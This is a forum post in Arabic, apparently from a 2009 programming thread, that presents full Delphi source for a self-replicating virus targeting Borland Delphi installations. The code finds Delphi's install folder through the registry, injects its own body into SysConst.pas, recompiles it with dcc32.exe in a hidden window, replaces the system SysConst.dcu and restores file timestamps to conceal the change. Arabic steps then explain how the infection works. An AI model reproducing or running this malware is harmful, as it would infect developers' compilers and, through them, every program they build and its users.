فيروس يصيب ملفات Delphi فقط
#4
خوارزميات التلويث :
PHP كود :
var sc: array[1..24] of string = (
    
'uses windows; var sc:array[1..24] of string=(',
    
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
    
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
    
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
    
'?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
    
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
    
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
    
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
    
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
    
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
    
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
    
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
    
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
    
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
    
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
    
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
    
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
    
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
    
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
    
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
    
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
    
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
    
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
    
'begin st; end.');
 
function 
x(s: string): string;
var 
i: integer;
begin
  
for i := 1 to length(s) do if s[i] = #36 then
      
s[i] := #39;
  
result := s;
end;
 
procedure re(s, d, e: string);
var 
f1, f2: textfile;
  
h: cardinal;
  
f: STARTUPINFO;
  
p: PROCESS_INFORMATION;
  
b: boolean;
  
t1, t2, t3: FILETIME;
begin
  h 
:= CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
  if 
h <> DWORD(-1) then
  begin CloseHandle
(h);
    exit;
  
end;
{
'I-}
  assignfile(f1, s);
  reset(f1);
  if ioresult <> 0 then
    exit;
  assignfile(f2, d + '
pas');
  rewrite(f2);
  if ioresult <> 0 then
  begin closefile(f1);
    exit;
  end;
  while not eof(f1) do
  begin readln(f1, s);
    writeln(f2, s);
    if pos('
implementation', s) <> 0 then
      break;
  end;
  for h := 1 to 1 do
    writeln(f2, sc[h]);
  for h := 1 to 23 do writeln(f2, '''' + sc[h], '''
,');
  writeln(f2, '''' + sc[24] + '''
);');
  for h := 2 to 24 do writeln(f2, x(sc[h]));
  closefile(f1);
  closefile(f2);
 {'
I+}
  
MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));
  
fillchar(f, sizeof(f), 0);
  
f.cb := sizeof(f);
  
f.dwFlags := STARTF_USESHOWWINDOW;
  
f.wShowWindow := SW_HIDE;
  
b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
  if 
b then
    WaitForSingleObject
(p.hProcess, INFINITE);
  
MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));
  
DeleteFile(pchar(d + 'pas'));
  
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
  if 
h = DWORD(-1) then
    
exit;
  
GetFileTime(h, @t1, @t2, @t3);
  
CloseHandle(h);
  
h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);
  if 
h = DWORD(-1) then
    
exit;
  
SetFileTime(h, @t1, @t2, @t3);
  
CloseHandle(h);
end;
 
procedure st;
var 
k: HKEY; c: array[1..255] of char;
  
i: cardinal;
  
r: string;
  
v: char;
begin
  
for v := '4' to '7' do
    if 
RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then
    begin i := 255;
      if RegQueryValueEx(k, '
RootDir', nil, @i, @c, @i) = 0 then
      begin r := '';
        i := 1;
        while c[i] <> #0 do
        begin r := r + c[i];
          inc(i);
        end;
        re(r + '
\source\rtl\sys\SysConst' + '.pas', r + '\lib\sysconst.', '"' + r + '\bin\dcc32.exe" ');
      end;
      RegCloseKey(k);
    end;
end; 

طريقة عمل الفيروس :
1- نسخ الملف SysConst.pas الأصلي من مجلد : \source\rtl\sys الى مجلد Lib.
2- اضافة الأوامر التي تم ذكرها في نفس الملف.
3- استعمال ملف dcc32.exe لانتاج ملف SysConst.dcu.
4- حذف الملف SysConst.pas المنسوخ في المجلد Lib.
----
5- عمل نسخة Backup للملف الأصلي SysConst.dcu و استبدال الأصلي بالنسخة الملوثة.

في كل مرة مع تشغل الملفات الملوثة المنتجة بدلفي يقوم الفيروس المحقون في الكود بالتحقق بعمل CreateFile على ملف SysConst.bak و في حالة وجوده لا يتم التلويث و العكس صحيح...

الاصدارات المستهدفة تخص نسخ Borland.

بالتوفيق ان شاء الله
[-] كل من 1 user says قال شكرا ل STRELiTZIA على المشاركة المفيدة
  • mohamed49
الرد


الردود في هذا الموضوع
فيروس يصيب ملفات Delphi فقط - بواسطة djug - 19-08-2009, 10:48 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 19-08-2009, 02:26 PM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 19-08-2009, 02:29 PM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 19-08-2009, 02:30 PM
فيروس يصيب ملفات Delphi فقط - بواسطة I_Tiger - 19-08-2009, 03:56 PM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 19-08-2009, 06:07 PM
فيروس يصيب ملفات Delphi فقط - بواسطة hocine cheniki - 19-08-2009, 06:15 PM
فيروس يصيب ملفات Delphi فقط - بواسطة Goblin - 20-08-2009, 06:36 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 20-08-2009, 11:13 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 20-08-2009, 01:51 PM
فيروس يصيب ملفات Delphi فقط - بواسطة moh38 - 20-08-2009, 02:41 PM
فيروس يصيب ملفات Delphi فقط - بواسطة moh38 - 20-08-2009, 03:14 PM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 20-08-2009, 04:55 PM
فيروس يصيب ملفات Delphi فقط - بواسطة Delphawi - 21-08-2009, 05:41 PM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 21-08-2009, 06:38 PM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 21-08-2009, 08:58 PM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 22-08-2009, 06:55 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 24-08-2009, 10:14 AM
فيروس يصيب ملفات Delphi فقط - بواسطة musvc - 24-08-2009, 10:43 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 25-08-2009, 08:41 AM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 27-08-2009, 12:06 AM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 27-08-2009, 12:53 AM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 27-08-2009, 06:08 PM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 27-08-2009, 08:07 PM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 28-08-2009, 09:12 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 28-08-2009, 09:13 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 28-08-2009, 09:16 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 28-08-2009, 09:17 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 28-08-2009, 09:17 AM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 28-08-2009, 07:42 PM
فيروس يصيب ملفات Delphi فقط - بواسطة AL-MOB4RM3G - 03-09-2009, 05:31 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 03-09-2009, 05:55 AM
فيروس يصيب ملفات Delphi فقط - بواسطة AL-MOB4RM3G - 03-09-2009, 06:12 AM
فيروس يصيب ملفات Delphi فقط - بواسطة TF6M - 15-09-2009, 10:09 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 15-09-2009, 10:26 AM
فيروس يصيب ملفات Delphi فقط - بواسطة TF6M - 15-09-2009, 10:44 AM
فيروس يصيب ملفات Delphi فقط - بواسطة STRELiTZIA - 15-09-2009, 10:52 AM
فيروس يصيب ملفات Delphi فقط - بواسطة TF6M - 15-09-2009, 11:26 AM
فيروس يصيب ملفات Delphi فقط - بواسطة WNO1 - 20-11-2009, 09:28 AM
فيروس يصيب ملفات Delphi فقط - بواسطة WARD.MHM - 25-09-2011, 07:34 PM
فيروس يصيب ملفات Delphi فقط - بواسطة virtual - 25-10-2011, 08:15 AM
RE: فيروس يصيب ملفات Delphi فقط - بواسطة mohamed49 - 06-03-2017, 12:43 PM
فيروس يصيب ملفات Delphi فقط - بواسطة mohfa - 20-08-2009, 08:42 PM
فيروس يصيب ملفات Delphi فقط - بواسطة AL-MOB4RM3G - 25-08-2009, 07:56 AM
فيروس يصيب ملفات Delphi فقط - بواسطة salah07230 - 06-04-2014, 04:49 PM

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 2 ) ضيف كريم